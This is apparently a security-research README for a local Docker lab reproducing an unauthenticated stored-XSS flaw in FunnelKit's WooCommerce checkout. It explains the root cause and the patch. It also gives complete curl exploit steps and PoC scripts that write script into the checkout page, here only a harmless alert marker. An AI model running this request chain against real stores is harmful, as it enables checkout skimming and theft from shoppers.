Share
## https://sploitus.com/exploit?id=63C0B69D-7789-5CA1-BE41-E1FE6AB85994
# CVE-2026-47100 โ€” FunnelKit / Funnel Builder for WooCommerce Checkout Stored XSS Lab

> Local Docker lab for reproducing CVE-2026-47100 in a safe, least-harm way.
> This lab compares a vulnerable FunnelKit version against a patched version and verifies the behavior using a harmless JavaScript marker/alert.

---

## 1. Overview

CVE-2026-47100 is a missing authorization vulnerability in **Funnel Builder / FunnelKit for WooCommerce Checkout** before version **3.15.0.3**.

The vulnerable checkout AJAX flow allows an unauthenticated visitor to invoke an internal plugin method and write data into FunnelKit's built-in global external script setting. Because that setting is later rendered on FunnelKit checkout pages, the issue can become **unauthenticated Stored XSS on checkout pages**.

This repository reproduces the issue locally using two Docker services:

| Service   |  Version | URL                     | Expected result                     |
| --------- | -------: | ----------------------- | ----------------------------------- |
| `vuln`    | 3.15.0.2 | `http://127.0.0.1:8081` | vulnerable behavior confirmed       |
| `patched` | 3.15.0.3 | `http://127.0.0.1:8082` | write blocked / marker not rendered |

---

## 2. Vulnx Discovery Screenshot

![vulnx](/images/vulnx.png)

> Initial CVE selection from Vulnx output. The lab and PoC were built manually by comparing vulnerable and patched behavior.

---

## 3. Impact

An unauthenticated attacker can abuse the public checkout AJAX flow to persist JavaScript into FunnelKit's global external script setting.

In a real WooCommerce store, this could allow malicious JavaScript to run in the browser of users visiting the checkout page. Public reporting has linked this vulnerability class to checkout skimming campaigns.

This lab intentionally uses only a harmless proof marker:

```html
window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")
```

---

## 4. Root Cause

The vulnerable version accepts user-controlled checkout data from the public WooCommerce AJAX endpoint:

```text
/?wc-ajax=update_order_review
```

Inside the FunnelKit checkout flow, the request can include:

```text
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
```

The vulnerable logic checks whether the supplied action name exists as a class method. If the method exists, it can be invoked from the public checkout flow.

Simplified vulnerable behavior:

```php
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}
```

The important attacker-controlled action is:

```text
update_global_settings_fields
```

That method updates the WordPress option:

```text
_wfacp_global_settings
```

and specifically the built-in FunnelKit key:

```text
wfacp_global_external_script
```

The stored value is later read by the checkout template and rendered on the checkout page. This creates the Stored XSS condition.

Exploit chain:

```text
Unauthenticated checkout visitor
โ†’ public WooCommerce update_order_review AJAX
โ†’ attacker-controlled wfacp_input_hidden_data[action]
โ†’ update_global_settings_fields()
โ†’ update_option('_wfacp_global_settings')
โ†’ wfacp_global_external_script rendered on checkout page
โ†’ Stored XSS
```

---

## 5. Patch Summary

Version **3.15.0.3** hardens the vulnerable path with two important changes.

### 5.1 Public action allow-list

The patched version restricts which checkout actions can be invoked from the public checkout flow.

Simplified patched behavior:

```php
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}
```

This prevents arbitrary internal methods such as `update_global_settings_fields` from being dispatched by unauthenticated checkout requests.

### 5.2 Capability check before settings update

The patched version also adds an authorization check before global settings can be updated:

```php
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}
```

This means the global external script setting should only be writable by users with WooCommerce management privileges.

---

## 6. Lab Architecture

```text
host
โ”œโ”€โ”€ http://127.0.0.1:8081  โ†’ WordPress + WooCommerce + FunnelKit 3.15.0.2
โ””โ”€โ”€ http://127.0.0.1:8082  โ†’ WordPress + WooCommerce + FunnelKit 3.15.0.3
```

The seed process creates:

```text
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10

Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
```

The lab uses a deterministic checkout URL:

```text
/?post_type=wfacp_checkout&p=11
```

This explicitly loads the FunnelKit checkout custom post in the local Docker lab.

---

## 7. Running the Lab

Start the lab:

```bash
docker compose up -d --build
```

Check services:

```bash
docker compose ps
```

Expected services:

```text
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082
```

Install Python dependencies:

```bash
python3 -m venv .venv
. .venv/bin/activate
pip install requests
```

---

## 8. PoC Scripts

### 8.1 Lab PoC

`poc/poc_lab.py` is the deterministic lab PoC.

It assumes the local Docker seed values:

```text
product_id = 10
checkout_post_id = 11
```

Run against the vulnerable service:

```bash
python3 poc/poc_lab.py http://127.0.0.1:8081
```

Expected result:

```text
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.
```

Run against the patched service:

```bash
python3 poc/poc_lab.py http://127.0.0.1:8082
```

Expected result:

```text
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
```

### 8.2 Generic Authorized Self-Test Tool

`poc/poc_check.py` is a more portable authorized self-test tool.

Passive check only:

```bash
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
```

Active authorized check:

```bash
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized
```

Marker-only mode without alert:

```bash
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only
```

Cleanup attempt:

```bash
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup
```

---

## 9. Manual Test

### 9.1 Vulnerable service

Create a fresh WooCommerce session and add the lab product to cart:

```bash
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
```

Fetch the FunnelKit checkout page and extract the WooCommerce checkout nonce:

```bash
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
```

Send the crafted checkout AJAX request:

```bash
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")"}}'
```

Verify the option was written:

```bash
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
```

Expected result:

```json
{
  "wfacp_global_external_script": "window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")",
  "wfacp_checkout_global_css": ""
}
```

Verify the marker is rendered:

```bash
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
```

Open in a browser to see the harmless alert:

```text
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
```

### 9.2 Patched service

Repeat the same flow against port `8082`:

```bash
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
```

```bash
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")"}}'
```

Verify the option remains unchanged:

```bash
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
```

Expected result:

```json
[]
```

Verify the marker is not rendered:

```bash
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
```

Expected result: no output.

---

## 10. Evidence Summary

The vulnerable service confirms the issue when all of the following are true:

```text
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
```

The patched service confirms the fix when:

```text
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
```

---

## 11. Safety Notes

This repository is for local, authorized security research only.

Allowed scope:

```text
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
```

Not allowed:

```text
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
```

The PoC uses a harmless alert and marker only.

---

## 12. References

* CVE Record: [https://vulners.com/cve/CVE-2026-47100](https://vulners.com/cve/CVE-2026-47100)
* NVD: [https://nvd.nist.gov/vuln/detail/CVE-2026-47100](https://nvd.nist.gov/vuln/detail/CVE-2026-47100)
* VulnCheck Advisory: [https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax](https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax)
* Sansec Research: [https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited](https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited)
* WordPress Trac changeset: [https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php](https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php)